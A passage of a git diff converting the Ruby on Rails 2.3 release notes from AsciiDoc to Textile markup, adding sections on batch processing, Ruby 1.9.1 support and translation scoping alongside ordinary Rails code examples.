 * The +%s+ and +%d+ interpolation syntax for internationalization is deprecated.
@@ -432,6 +417,6 @@ Previously the above code made available a local variable called +customer+ insi
 * Durations of fractional months or fractional years are deprecated. Use Ruby's core +Date+ and +Time+ class arithmetic instead.
 * +Request#relative_url_root+ is deprecated. Use +ActionController::Base.relative_url_root+ instead.
 
-== Credits
+h3. Credits
 
-Release notes compiled by link:http://afreshcup.com[Mike Gunderloy]
\ No newline at end of file
+Release notes compiled by "Mike Gunderloy":http://afreshcup.com
diff --git a/vendor/rails/railties/doc/guides/source/2_3_release_notes.txt b/vendor/rails/railties/guides/source/2_3_release_notes.textile
similarity index 62%
rename from vendor/rails/railties/doc/guides/source/2_3_release_notes.txt
rename to vendor/rails/railties/guides/source/2_3_release_notes.textile
index ebe62187..4734e326 100644
--- a/vendor/rails/railties/doc/guides/source/2_3_release_notes.txt
+++ b/vendor/rails/railties/guides/source/2_3_release_notes.textile
@@ -1,13 +1,14 @@
-Ruby on Rails 2.3 Release Notes
-===============================
+h2. Ruby on Rails 2.3 Release Notes
 
-Rails 2.3 delivers a variety of new and improved features, including pervasive Rack integration, refreshed support for Rails Engines, nested transactions for Active Record, dynamic and default scopes, unified rendering, more efficient routing, application templates, and quiet backtraces. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the link:http://github.com/rails/rails/commits/master[list of commits] in the main Rails repository on GitHub or review the +CHANGELOG+ files for the individual Rails components.
+Rails 2.3 delivers a variety of new and improved features, including pervasive Rack integration, refreshed support for Rails Engines, nested transactions for Active Record, dynamic and default scopes, unified rendering, more efficient routing, application templates, and quiet backtraces. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the "list of commits":http://github.com/rails/rails/commits/master in the main Rails repository on GitHub or review the +CHANGELOG+ files for the individual Rails components.
 
-== Application Architecture
+endprologue.
 
-There are two major changes in the architecture of Rails applications: complete integration of the link:http://rack.rubyforge.org/[Rack] modular web server interface, and renewed support for Rails Engines.
+h3. Application Architecture
 
-=== Rack Integration
+There are two major changes in the architecture of Rails applications: complete integration of the "Rack":http://rack.rubyforge.org/ modular web server interface, and renewed support for Rails Engines.
+
+h4. Rack Integration
 
 Rails has now broken with its CGI past, and uses Rack everywhere. This required and resulted in a tremendous number of internal changes (but if you use CGI, don't worry; Rails now supports CGI through a proxy interface.) Still, this is a major change to Rails internals. After upgrading to 2.3, you should test on your local environment and your production environment. Some things to test:
 
@@ -23,7 +24,7 @@ Here's a summary of the rack-related changes:
 * +ActionController::Dispatcher+ maintains its own default middleware stack. Middlewares can be injected in, reordered, and removed. The stack is compiled into a chain on boot. You can configure the middleware stack in +environment.rb+
 * The +rake middleware+ task has been added to inspect the middleware stack. This is useful for debugging the order of the middleware stack.
 * The integration test runner has been modified to execute the entire middleware and application stack. This makes integration tests perfect for testing Rack middleware.
-* +ActionController::CGIHandler+ is a backwards compatible CGI wrapper around Rack. The +CGIHandler+ is meant to take an old CGI object and converts its environment information into a Rack compatible form.
+* +ActionController::CGIHandler+ is a backwards compatible CGI wrapper around Rack. The +CGIHandler+ is meant to take an old CGI object and convert its environment information into a Rack compatible form.
 * +CgiRequest+ and +CgiResponse+ have been removed
 * Session stores are now lazy loaded. If you never access the session object during a request, it will never attempt to load the session data (parse the cookie, load the data from memcache, or lookup an Active Record object).
 * +CGI::Session::CookieStore+ has been replaced by +ActionController::Session::CookieStore+
@@ -37,47 +38,56 @@ Here's a summary of the rack-related changes:
 * The Rails router and controller classes follow the Rack spec. You can call a controller directly with +SomeController.call(env)+. The router stores the routing parameters in +rack.routing_args+.
 * +ActionController::Request+ inherits from +Rack::Request+
 * Instead of +config.action_controller.session = { :session_key => 'foo', ...+ use  +config.action_controller.session = { :key => 'foo', ...+
-* Using the +ParamsParser+ middleware preprocesses any XML, JSON, or YAML requests so they can be read normally with any +Rack::Request+ object after it. 
+* Using the +ParamsParser+ middleware preprocesses any XML, JSON, or YAML requests so they can be read normally with any +Rack::Request+ object after it.
 
-=== Renewed Support for Rails Engines
+h4. Renewed Support for Rails Engines
 
-After some versions without an upgrade, Rails 2.3 offers some new features for Rails Engines (Rails applications that can be embedded within other applications). First, routing files in engines are automatically loaded and reloaded now, just like your +routes.rb+ file (this also applies to routing files in other plugins). Second, if your plugin has an app folder, then app/[models|controllers|helpers] will automatically be added to the Rails load path. Engines also support adding view paths now.
+After some versions without an upgrade, Rails 2.3 offers some new features for Rails Engines (Rails applications that can be embedded within other applications). First, routing files in engines are automatically loaded and reloaded now, just like your +routes.rb+ file (this also applies to routing files in other plugins). Second, if your plugin has an app folder, then app/[models|controllers|helpers] will automatically be added to the Rails load path. Engines also support adding view paths now, and Action Mailer as well as Action View will use views from engines and other plugins.
 
-== Documentation
+h3. Documentation
 
-The link:http://guides.rubyonrails.org/[Ruby on Rails guides] project has published several additional guides for Rails 2.3. In addition, a link:http://guides.rails.info/[separate site] maintains updated copies of the Guides for Edge Rails. Other documentation efforts include a relaunch of the link:http://newwiki.rubyonrails.org/[Rails wiki] and early planning for a Rails Book.
+The "Ruby on Rails guides":http://guides.rubyonrails.org/ project has published several additional guides for Rails 2.3. In addition, a "separate site":http://guides.rails.info/ maintains updated copies of the Guides for Edge Rails. Other documentation efforts include a relaunch of the "Rails wiki":http://newwiki.rubyonrails.org/ and early planning for a Rails Book.
 
-* More Information: link:http://weblog.rubyonrails.org/2009/1/15/rails-documentation-projects[Rails Documentation Projects]
+* More Information: "Rails Documentation Projects":http://weblog.rubyonrails.org/2009/1/15/rails-documentation-projects
 
-== Active Record
+h3. Ruby 1.9.1 Support
 
-Active Record gets quite a number of new features and bug fixes in Rails 2.3. The highlights include nested attributes, nested transactions, dynamic scopes, and default scopes.
+Rails 2.3 should pass all of its own tests whether you are running on Ruby 1.8 or the now-released Ruby 1.9.1. You should be aware, though, that moving to 1.9.1 entails checking all of the data adapters, plugins, and other code that you depend on for Ruby 1.9.1 compatibility, as well as Rails core. 
 
-=== Nested Attributes
+h3. Active Record
+
+Active Record gets quite a number of new features and bug fixes in Rails 2.3. The highlights include nested attributes, nested transactions, dynamic and default scopes, and batch processing.
+
+h4. Nested Attributes
 
 Active Record can now update the attributes on nested models directly, provided you tell it to do so:
 
-[source, ruby]
--------------------------------------------------------
+
 class Book < ActiveRecord::Base
   has_one :author
   has_many :pages
 
   accepts_nested_attributes_for :author, :pages
 end
--------------------------------------------------------
+
 
 Turning on nested attributes enables a number of things: automatic (and atomic) saving of a record together with its associated children, child-aware validations, and support for nested forms (discussed later).
- 
-* Lead Contributor: link_to:http://www.superalloy.nl/blog/[Eloy Duran]
-* More Information: link_to:http://weblog.rubyonrails.org/2009/1/26/nested-model-forms[Nested Model Forms]
 
-=== Nested Transactions
+You can also specify requirements for any new records that are added via nested attributes using the +:reject_if+ option:
+
+
+accepts_nested_attributes_for :author, 
+  :reject_if => proc { |attributes| attributes['name'].blank? }
+
+
+* Lead Contributor: "Eloy Duran":http://www.superalloy.nl/blog/
+* More Information: "Nested Model Forms":http://weblog.rubyonrails.org/2009/1/26/nested-model-forms
+
+h4. Nested Transactions
 
 Active Record now supports nested transactions, a much-requested feature. Now you can write code like this:
 
-[source, ruby]
--------------------------------------------------------
+
 User.transaction do
     User.create(:username => 'Admin')
     User.transaction(:requires_new => true) do
@@ -85,228 +95,244 @@ User.transaction do
       raise ActiveRecord::Rollback
     end
   end
-  
+
   User.find(:all)  # => Returns only Admin
--------------------------------------------------------
+
 
-Nested transactions let you roll back an inner transaction without affecting the state of the outer transaction. If you want a transaction to be nested, you must explicitly add the +:requires_new+ option; otherwise, a nested transaction simply becomes part of the parent transaction (as it does currently on Rails 2.2). Under the covers, nested transactions are link:http://rails.lighthouseapp.com/projects/8994/tickets/383[using savepoints], so they're supported even on databases that don't have true nested transactions. There is also a bit of magic going on to make these transactions play well with transactional fixtures during testing.
+Nested transactions let you roll back an inner transaction without affecting the state of the outer transaction. If you want a transaction to be nested, you must explicitly add the +:requires_new+ option; otherwise, a nested transaction simply becomes part of the parent transaction (as it does currently on Rails 2.2). Under the covers, nested transactions are "using savepoints":http://rails.lighthouseapp.com/projects/8994/tickets/383, so they're supported even on databases that don't have true nested transactions. There is also a bit of magic going on to make these transactions play well with transactional fixtures during testing.
 
-* Lead Contributors: link:http://www.workingwithrails.com/person/4985-jonathan-viney[Jonathan Viney] and link:http://izumi.plan99.net/blog/[Hongli Lai]
+* Lead Contributors: "Jonathan Viney":http://www.workingwithrails.com/person/4985-jonathan-viney and "Hongli Lai":http://izumi.plan99.net/blog/
 
-=== Dynamic Scopes
+h4. Dynamic Scopes
 
 You know about dynamic finders in Rails (which allow you to concoct methods like +find_by_color_and_flavor+ on the fly) and named scopes (which allow you to encapsulate reusable query conditions into friendly names like +currently_active+). Well, now you can have dynamic scope methods. The idea is to put together syntax that allows filtering on the fly _and_ method chaining. For example:
 
-[source, ruby]
--------------------------------------------------------
+
 Order.scoped_by_customer_id(12)
-Order.scoped_by_customer_id(12).find(:all, 
+Order.scoped_by_customer_id(12).find(:all,
   :conditions => "status = 'open'")
 Order.scoped_by_customer_id(12).scoped_by_status("open")
--------------------------------------------------------
+
 
 There's nothing to define to use dynamic scopes: they just work.
 
-* Lead Contributor: link:http://evilmartians.com/[Yaroslav Markin]
-* More Information: link:http://ryandaigle.com/articles/2008/12/29/what-s-new-in-edge-rails-dynamic-scope-methods[What's New in Edge Rails: Dynamic Scope Methods].
+* Lead Contributor: "Yaroslav Markin":http://evilmartians.com/
+* More Information: "What's New in Edge Rails: Dynamic Scope Methods":http://ryandaigle.com/articles/2008/12/29/what-s-new-in-edge-rails-dynamic-scope-methods.
 
-=== Default Scopes
+h4. Default Scopes
 
-Rails 2.3 will introduce the notion of _default scopes_ similar to named scopes, but applying to all named scopes or find methods within the model. For example, you can write +default_scope :order => 'name ASC'+ and any time you retrieve records from that model they'll come out sorted by name (unless you override the option, of course). 
+Rails 2.3 will introduce the notion of _default scopes_ similar to named scopes, but applying to all named scopes or find methods within the model. For example, you can write +default_scope :order => 'name ASC'+ and any time you retrieve records from that model they'll come out sorted by name (unless you override the option, of course).
 
 * Lead Contributor: Paweł Kondzior
-* More Information: link:http://ryandaigle.com/articles/2008/11/18/what-s-new-in-edge-rails-default-scoping[What's New in Edge Rails: Default Scoping]
+* More Information: "What's New in Edge Rails: Default Scoping":http://ryandaigle.com/articles/2008/11/18/what-s-new-in-edge-rails-default-scoping
 
-=== Multiple Conditions for Callbacks
+h4. Batch Processing
+
+You can now process large numbers of records from an ActiveRecord model with less pressure on memory by using +find_in_batches+:
+
+
+Customer.find_in_batches(:conditions => {:active => true}) do |customer_group|
+  customer_group.each { |customer| customer.update_account_balance! }
+end
+
+
+You can pass most of the +find+ options into +find_in_batches+. However, you cannot specify the order that records will be returned in (they will always be returned in ascending order of primary key, which must be an integer), or use the +:limit+ option. Instead, use the +:batch_size: option, which defaults to 1000, to set the number of records that will be returned in each batch.
+
+The new +each+ method provides a wrapper around +find_in_batches+ that returns individual records, with the find itself being done in batches (of 1000 by default):
+
+
+Customer.each do |customer|
+  customer.update_account_balance!
+end
+
+
+Note that you should only use this record for batch processing: for small numbers of records (less than 1000), you should just use the regular find methods with your own loop.
+
+h4. Multiple Conditions for Callbacks
 
 When using Active Record callbacks, you can now combine +:if+ and +:unless+ options on the same callback, and supply multiple conditions as an array:
 
-[source, ruby]
--------------------------------------------------------
-before_save :update_credit_rating, :if => :active, 
+
+before_save :update_credit_rating, :if => :active,
   :unless => [:admin, :cash_only]
--------------------------------------------------------
+
 * Lead Contributor: L. Caviola
 
-=== Find with having
+h4. Find with having
 
 Rails now has a +:having+ option on find (as well as on +has_many+ and +has_and_belongs_to_many+ associations) for filtering records in grouped finds. As those with heavy SQL backgrounds know, this allows filtering based on grouped results:
 
-[source, ruby]
--------------------------------------------------------
-developers =  Developer.find(:all, :group => "salary", 
+
+developers =  Developer.find(:all, :group => "salary",
   :having => "sum(salary) >  10000", :select => "salary")
--------------------------------------------------------
+
 
-* Lead Contributor: link:http://github.com/miloops[Emilio Tagua]
+* Lead Contributor: "Emilio Tagua":http://github.com/miloops
 
-=== Hash Conditions for +has_many+ relationships
+h4. Hash Conditions for has_many relationships
 
 You can once again use a hash in conditions for a +has_many+ relationship:
 
-[source, ruby]
--------------------------------------------------------
+
 has_many :orders, :conditions => {:status => 'confirmed'}
--------------------------------------------------------
+
 
-That worked in Rails 2.1, fails in Rails 2.2, and will now work again in Rails 2.3 (if you're dealing with this issue in Rails 2.2, you can use a string rather than a hash to specify conditions). 
+That worked in Rails 2.1, fails in Rails 2.2, and will now work again in Rails 2.3 (if you're dealing with this issue in Rails 2.2, you can use a string rather than a hash to specify conditions).
 
-* Lead Contributor: link:http://www.spacevatican.org/[Frederick Cheung]
+* Lead Contributor: "Frederick Cheung":http://www.spacevatican.org/
 
-=== Reconnecting MySQL Connections
+h4. Reconnecting MySQL Connections
 
 MySQL supports a reconnect flag in its connections - if set to true, then the client will try reconnecting to the server before giving up in case of a lost connection. You can now set +reconnect = true+ for your MySQL connections in +database.yml+ to get this behavior from a Rails application. The default is +false+, so the behavior of existing applications doesn't change.
 
-* Lead Contributor: link:http://twitter.com/dubek[Dov Murik]
-* More information: 
- - link:http://dev.mysql.com/doc/refman/5.0/en/auto-reconnect.html[Controlling Automatic Reconnection Behavior]
- - link:http://groups.google.com/group/rubyonrails-core/browse_thread/thread/49d2a7e9c96cb9f4[MySQL auto-reconnect revisited]
+* Lead Contributor: "Dov Murik":http://twitter.com/dubek
+* More information:
+** "Controlling Automatic Reconnection Behavior":http://dev.mysql.com/doc/refman/5.0/en/auto-reconnect.html
+** "MySQL auto-reconnect revisited":http://groups.google.com/group/rubyonrails-core/browse_thread/thread/49d2a7e9c96cb9f4
 
-=== Other Active Record Changes
+h4. Other Active Record Changes
 
 * An extra +AS+ was removed from the generated SQL for has_and_belongs_to_many preloading, making it work better for some databases.
-* +ActiveRecord::Base#new_record?+ now returns false rather than nil when confronted with an existing record.
+* +ActiveRecord::Base#new_record?+ now returns +false+ rather than +nil+ when confronted with an existing record.
 * A bug in quoting table names in some +has_many :through+ associations was fixed.
-* You can now specify a particular timestamp for +updated_at+ timestamps: +cust = Customer.create(:name => "ABC Industries", :updated_at => 1.day.ago)+ 
+* You can now specify a particular timestamp for +updated_at+ timestamps: +cust = Customer.create(:name => "ABC Industries", :updated_at => 1.day.ago)+
 * Better error messages on failed +find_by_attribute!+ calls.
 * Active Record's +to_xml+ support gets just a little bit more flexible with the addition of a +:camelize+ option.
 * A bug in canceling callbacks from +before_update+ or +before_create_ was fixed.
 * Rake tasks for testing databases via JDBC have been added.
 * +validates_length_of+ will use a custom error message with the +:in+ or +:within+ options (if one is supplied)
 
-== Action Controller
+h3. Action Controller
 
 Action Controller rolls out some significant changes to rendering, as well as improvements in routing and other areas, in this release.
 
-=== Unified Rendering
+h4. Unified Rendering
 
 +ActionController::Base#render+ is a lot smarter about deciding what to render. Now you can just tell it what to render and expect to get the right results. In older versions of Rails, you often need to supply explicit information to render:
 
-[source, ruby]
--------------------------------------------------------
+
 render :file => '/tmp/random_file.erb'
 render :template => 'other_controller/action'
 render :action => 'show'
--------------------------------------------------------
+
 
 Now in Rails 2.3, you can just supply what you want to render:
 
-[source, ruby]
--------------------------------------------------------
+
 render '/tmp/random_file.erb'
 render 'other_controller/action'
 render 'show'
 render :show
--------------------------------------------------------
+
 Rails chooses between file, template, and action depending on whether there is a leading slash, an embedded slash, or no slash at all in what's to be rendered. Note that you can also use a symbol instead of a string when rendering an action. Other rendering styles (+:inline+, +:text+, +:update+, +:nothing+, +:json+, +:xml+, +:js+) still require an explicit option.
 
-=== Application Controller Renamed
+h4. Application Controller Renamed
 
-If you're one of the people who has always been bothered by the special-case naming of +application.rb+, rejoice! It's been reworked to be application_controller.rb in Rails 2.3. In addition, there's a new rake task, +rake rails:update:application_controller+ to do this automatically for you - and it will be run as part of the normal +rake rails:update+ process. 
+If you're one of the people who has always been bothered by the special-case naming of +application.rb+, rejoice! It's been reworked to be application_controller.rb in Rails 2.3. In addition, there's a new rake task, +rake rails:update:application_controller+ to do this automatically for you - and it will be run as part of the normal +rake rails:update+ process.
 
 * More Information:
- - link:http://afreshcup.com/2008/11/17/rails-2x-the-death-of-applicationrb/[The Death of Application.rb]    
- - link:http://ryandaigle.com/articles/2008/11/19/what-s-new-in-edge-rails-application-rb-duality-is-no-more[What's New in Edge Rails: Application.rb Duality is no More]
+** "The Death of Application.rb":http://afreshcup.com/2008/11/17/rails-2x-the-death-of-applicationrb/
+** "What's New in Edge Rails: Application.rb Duality is no More":http://ryandaigle.com/articles/2008/11/19/what-s-new-in-edge-rails-application-rb-duality-is-no-more
 
-=== HTTP Digest Authentication Support
+h4. HTTP Digest Authentication Support
 
 Rails now has built-in support for HTTP digest authentication. To use it, you call +authenticate_or_request_with_http_digest+ with a block that returns the user’s password (which is then hashed and compared against the transmitted credentials):
 
-[source, ruby]
--------------------------------------------------------
+
 class PostsController < ApplicationController
   Users = {"dhh" => "secret"}
   before_filter :authenticate
 
   def secret
-    render :text => "Password Required!" 
+    render :text => "Password Required!"
   end
 
   private
   def authenticate
-    realm = "Application" 
+    realm = "Application"
     authenticate_or_request_with_http_digest(realm) do |name|
       Users[name]
     end
   end
 end
--------------------------------------------------------
+
 
-* Lead Contributor: link:http://www.kellogg-assoc.com/[Gregg Kellogg]
-* More Information: link:http://ryandaigle.com/articles/2009/1/30/what-s-new-in-edge-rails-http-digest-authentication[What's New in Edge Rails: HTTP Digest Authentication]
+* Lead Contributor: "Gregg Kellogg":http://www.kellogg-assoc.com/
+* More Information: "What's New in Edge Rails: HTTP Digest Authentication":http://ryandaigle.com/articles/2009/1/30/what-s-new-in-edge-rails-http-digest-authentication
 
-=== More Efficient Routing
+h4. More Efficient Routing
 
-There are a couple of significant routing changes in Rails 2.3. The +formatted_+ route helpers are gone, in favor just passing in +:format+ as an option. This cuts down the route generation process by 50% for any resource - and can save a substantial amount of memory (up to 100MB on large applications). If your code uses the +formatted_+ helpers, it will still work for the time being - but that behavior is deprecated and your application will be more efficient if you rewrite those routes using the new standard. Another big change is that Rails now supports multiple routing files, not just routes.rb. You can use +RouteSet#add_configuration_file+ to bring in more routes at any time - without clearing the currently-loaded routes. While this change is most useful for Engines, you can use it in any application that needs to load routes in batches.
+There are a couple of significant routing changes in Rails 2.3. The +formatted_+ route helpers are gone, in favor just passing in +:format+ as an option. This cuts down the route generation process by 50% for any resource - and can save a substantial amount of memory (up to 100MB on large applications). If your code uses the +formatted_+ helpers, it will still work for the time being - but that behavior is deprecated and your application will be more efficient if you rewrite those routes using the new standard. Another big change is that Rails now supports multiple routing files, not just +routes.rb+. You can use +RouteSet#add_configuration_file+ to bring in more routes at any time - without clearing the currently-loaded routes. While this change is most useful for Engines, you can use it in any application that needs to load routes in batches.
 
-Lead Contributors: link:http://blog.hungrymachine.com/[Aaron Batalion]
+* Lead Contributors: "Aaron Batalion":http://blog.hungrymachine.com/
 
-=== Rack-based Lazy-loaded Sessions
+h4. Rack-based Lazy-loaded Sessions
 
 A big change pushed the underpinnings of Action Controller session storage down to the Rack level. This involved a good deal of work in the code, though it should be completely transparent to your Rails applications (as a bonus, some icky patches around the old CGI session handler got removed). It's still significant, though, for one simple reason: non-Rails Rack applications have access to the same session storage handlers (and therefore the same session) as your Rails applications. In addition, sessions are now lazy-loaded (in line with the loading improvements to the rest of the framework). This means that you no longer need to explicitly disable sessions if you don't want them; just don't refer to them and they won't load.
 
-=== MIME Type Handling Changes
+h4. MIME Type Handling Changes
 
 There are a couple of changes to the code for handling MIME types in Rails. First, +MIME::Type+ now implements the +=~+ operator, making things much cleaner when you need to check for the presence of a type that has synonyms:
 
-[source, ruby]
--------------------------------------------------------
+
 if content_type && Mime::JS =~ content_type
   # do something cool
 end
 
 Mime::JS =~ "text/javascript"        => true
 Mime::JS =~ "application/javascript" => true
--------------------------------------------------------
+
 
 The other change is that the framework now uses the +Mime::JS+ when checking for javascript in various spots, making it handle those alternatives cleanly.
 
-Lead Contributor: link:http://www.workingwithrails.com/person/5510-seth-fitzsimmons[Seth Fitzsimmons]
+* Lead Contributor: "Seth Fitzsimmons":http://www.workingwithrails.com/person/5510-seth-fitzsimmons
 
-=== Optimization of +respond_to+
+h4. Optimization of +respond_to+
 
 In some of the first fruits of the Rails-Merb team merger, Rails 2.3 includes some optimizations for the +respond_to+ method, which is of course heavily used in many Rails applications to allow your controller to format results differently based on the MIME type of the incoming request. After eliminating a call to +method_missing+ and some profiling and tweaking, we're seeing an 8% improvement in the number of requests per second served with a simple +respond_to+ that switches between three formats. The best part? No change at all required to the code of your application to take advantage of this speedup.
 
-=== Improved Caching Performance
+h4. Improved Caching Performance
 
 Rails now keeps a per-request local cache of requests, cutting down on unnecessary reads and leading to better site performance. While this work was originally limited to +MemCacheStore+, it is available to any remote store than implements the required methods.
 
-* Lead Contributor: link:http://www.motionstandingstill.com/[Nahum Wild]
+* Lead Contributor: "Nahum Wild":http://www.motionstandingstill.com/
 
-=== Localized Views
+h4. Localized Views
 
-Rails can now provide localized views, depending on the locale that you have set. For example, suppose you have a +Posts+ controller with a +show+ action. By default, this will render +app/views/posts/show.html.erb+. But if you set +I18n.locale = :da+, it will render +app/views/posts/show.da.html.erb+. If the localized template isn't present, the undecorated version will be used. Rails also includes +I18n#available_locales+ and +I18n::SimpleBackend#available_locales+, which return an array of the translations that are available in the current Rails project. 
+Rails can now provide localized views, depending on the locale that you have set. For example, suppose you have a +Posts+ controller with a +show+ action. By default, this will render +app/views/posts/show.html.erb+. But if you set +I18n.locale = :da+, it will render +app/views/posts/show.da.html.erb+. If the localized template isn't present, the undecorated version will be used. Rails also includes +I18n#available_locales+ and +I18n::SimpleBackend#available_locales+, which return an array of the translations that are available in the current Rails project.
 
-=== Other Action Controller Changes
+h4. Partial Scoping for Translations
+
+A change to the translation API makes things easier and less repetitive to write key translations within partials. If you call +translate(".foo")+ from the +people/index.html.erb+ template, you'll actually be calling +I18n.translate("people.index.foo")+ If you don't prepend the key with a period, then the API doesn't scope, just as before.
+
+h4. Other Action Controller Changes
 
 * ETag handling has been cleaned up a bit: Rails will now skip sending an ETag header when there's no body to the response or when sending files with +send_file+.
-* The fact that Rails checks for IP spoofing can be a nuisance for sites that do heavy traffic with cell phones, because their proxies don't generally set things up right. If that's you, you can now set +ActionController::Base.ip_spoofing_check = false+ to disable the check entirely. 
-* +ActionController::Dispatcher+ now implements its own middleware stack, which you can see by running +rake middleware+. 
-* Cookie sessions now have persistent session identifiers, with API compatibility with the server-side stores. 
-* You can now use symbols for the +:type+ option of +send_file+ and +send_data+, like this: +send_file("fabulous.png", :type => :png)+. 
+* The fact that Rails checks for IP spoofing can be a nuisance for sites that do heavy traffic with cell phones, because their proxies don't generally set things up right. If that's you, you can now set +ActionController::Base.ip_spoofing_check = false+ to disable the check entirely.
+* +ActionController::Dispatcher+ now implements its own middleware stack, which you can see by running +rake middleware+.
+* Cookie sessions now have persistent session identifiers, with API compatibility with the server-side stores.
+* You can now use symbols for the +:type+ option of +send_file+ and +send_data+, like this: +send_file("fabulous.png", :type => :png)+.
 * The +:only+ and +:except+ options for +map.resources+ are no longer inherited by nested resources.
 
-== Action View
+h3. Action View
 
 Action View in Rails 2.3 picks up nested model forms, improvements to +render+, more flexible prompts for the date select helpers, and a speedup in asset caching, among other things.
 
-=== Nested Object Forms
+h4. Nested Object Forms
 
 Provided the parent model accepts nested attributes for the child objects (as discussed in the Active Record section), you can create nested forms using +form_for+ and +field_for+. These forms can be nested arbitrarily deep, allowing you to edit complex object hierarchies on a single view without excessive code. For example, given this model:
 
-[source, ruby]
--------------------------------------------------------
+
 class Customer < ActiveRecord::Base
   has_many :orders
 
   accepts_nested_attributes_for :orders, :allow_destroy => true
 end
--------------------------------------------------------
+
 
 You can write this view in Rails 2.3:
 
-[source, ruby]
--------------------------------------------------------
+
 <% form_for @customer do |customer_form| %>
   

     <%= customer_form.label :name, 'Customer Name:' %>
@@ -314,201 +340,205 @@ You can write this view in Rails 2.3:
   

 
   
+   The block is called for each member of the orders collection. -->
   <% customer_form.fields_for :orders do |order_form| %>
-      

-        

-          <%= order_form.label :number, 'Order Number:' %>
-          <%= order_form.text_field :number %>
-        

+    

+      

+        <%= order_form.label :number, 'Order Number:' %>
+        <%= order_form.text_field :number %>
+      

 
   
-        <% unless order_form.object.new_record? %>
-          

-            <%= order_form.label :_delete, 'Remove:' %>
-            <%= order_form.check_box :_delete %>
-          

-        <% end %>
-      

-    <% end %>
+   child records. -->
+      <% unless order_form.object.new_record? %>
+        

+          <%= order_form.label :_delete, 'Remove:' %>
+          <%= order_form.check_box :_delete %>
+        

+      <% end %>
+    

   <% end %>
 
   <%= customer_form.submit %>
 <% end %>
--------------------------------------------------------
+
 
-* Lead Contributor: link_to:http://www.superalloy.nl/blog/[Eloy Duran]
-* More Information: 
- - link_to:http://weblog.rubyonrails.org/2009/1/26/nested-model-forms[Nested Model Forms]
- - link_to:http://github.com/alloy/complex-form-examples/tree/nested_attributes[complex-form-examples]
- - link_to:http://ryandaigle.com/articles/2009/2/1/what-s-new-in-edge-rails-nested-attributes[What's New in Edge Rails: Nested Object Forms]
+* Lead Contributor: "Eloy Duran":http://www.superalloy.nl/blog/
+* More Information:
+** "Nested Model Forms":http://weblog.rubyonrails.org/2009/1/26/nested-model-forms
+** "complex-form-examples":http://github.com/alloy/complex-form-examples/tree/nested_attributes
+** "What's New in Edge Rails: Nested Object Forms":http://ryandaigle.com/articles/2009/2/1/what-s-new-in-edge-rails-nested-attributes
 
-=== Smart Rendering of Partials
+h4. Smart Rendering of Partials
 
 The render method has been getting smarter over the years, and it's even smarter now. If you have an object or a collection and an appropriate partial, and the naming matches up, you can now just render the object and things will work. For example, in Rails 2.3, these render calls will work in your view (assuming sensible naming):
 
-[source, ruby]
--------------------------------------------------------
-render @article  # Equivalent of render :partial => 'articles/_article', :object => @article
-render @articles # Equivalent of render :partial => 'articles/_article', :collection => @articles
--------------------------------------------------------
+
+# Equivalent of render :partial => 'articles/_article',
+# :object => @article
+render @article
 
-* More Information: link:http://ryandaigle.com/articles/2008/11/20/what-s-new-in-edge-rails-render-stops-being-high-maintenance[What's New in Edge Rails: render Stops Being High-Maintenance]
+# Equivalent of render :partial => 'articles/_article',
+# :collection => @articles
+render @articles
+
 
-=== Prompts for Date Select Helpers
+* More Information: "What's New in Edge Rails: render Stops Being High-Maintenance":http://ryandaigle.com/articles/2008/11/20/what-s-new-in-edge-rails-render-stops-being-high-maintenance
+
+h4. Prompts for Date Select Helpers
 
 In Rails 2.3, you can supply custom prompts for the various date select helpers (+date_select+, +time_select+, and +datetime_select+), the same way you can with collection select helpers. You can supply a prompt string or a hash of individual prompt strings for the various components. You can also just set +:prompt+ to +true+ to use the custom generic prompt:
 
-[source, ruby]
--------------------------------------------------------
+
 select_datetime(DateTime.now, :prompt => true)
 
 select_datetime(DateTime.now, :prompt => "Choose date and time")
 
-select_datetime(DateTime.now, :prompt => 
-  {:day => 'Choose day', :month => 'Choose month', 
-   :year => 'Choose year', :hour => 'Choose hour', 
+select_datetime(DateTime.now, :prompt =>
+  {:day => 'Choose day', :month => 'Choose month',
+   :year => 'Choose year', :hour => 'Choose hour',
    :minute => 'Choose minute'})
--------------------------------------------------------
+
 
-Lead Contributor: link:http://samoliver.com/[Sam Oliver]
+* Lead Contributor: "Sam Oliver":http://samoliver.com/
 
-=== AssetTag Timestamp Caching
+h4. AssetTag Timestamp Caching
 
 You're likely familiar with Rails' practice of adding timestamps to static asset paths as a "cache buster." This helps ensure that stale copies of things like images and stylesheets don't get served out of the user's browser cache when you change them on the server. You can now modify this behavior with the +cache_asset_timestamps+ configuration option for Action View. If you enable the cache, then Rails will calculate the timestamp once when it first serves an asset, and save that value. This means fewer (expensive) file system calls to serve static assets - but it also means that you can't modify any of the assets while the server is running and expect the changes to get picked up by clients.
 
-=== Asset Hosts as Objects
+h4. Asset Hosts as Objects
 
 Asset hosts get more flexible in edge Rails with the ability to declare an asset host as a specific object that responds to a call. This allows you to to implement any complex logic you need in your asset hosting.
 
-* More Information: link:http://github.com/dhh/asset-hosting-with-minimum-ssl/tree/master[asset-hosting-with-minimum-ssl]
+* More Information: "asset-hosting-with-minimum-ssl":http://github.com/dhh/asset-hosting-with-minimum-ssl/tree/master
 
-=== grouped_options_for_select Helper Method
+h4. grouped_options_for_select Helper Method
 
-Action View already haD a bunch of helpers to aid in generating select controls, but now there's one more: +grouped_options_for_select+. This one accepts an array or hash of strings, and converts them into a string of +option+ tags wrapped with +optgroup+ tags. For example:
+Action View already had a bunch of helpers to aid in generating select controls, but now there's one more: +grouped_options_for_select+. This one accepts an array or hash of strings, and converts them into a string of +option+ tags wrapped with +optgroup+ tags. For example:
 
-[source, ruby]
--------------------------------------------------------
-grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]], 
+
+grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]],
   "Cowboy Hat", "Choose a product...")
--------------------------------------------------------
+
 
 returns
 
-[source, ruby]
--------------------------------------------------------
+
 
 
   
   
 
--------------------------------------------------------
+
 
-=== Other Action View Changes
+h4. Other Action View Changes
 
-* Token generation for CSRF protection has been simplified; now Rails uses a simple random string generated by +ActiveSupport::SecureRandom+ rather than mucking around with session IDs. 
-* +auto_link+ now properly applies options (such as :target and :class) to generated e-mail links. 
-* The +autolink+ helper has been refactored to make it a bit less messy and more intuitive. 
+* Token generation for CSRF protection has been simplified; now Rails uses a simple random string generated by +ActiveSupport::SecureRandom+ rather than mucking around with session IDs.
+* +auto_link+ now properly applies options (such as +:target+ and +:class+) to generated e-mail links.
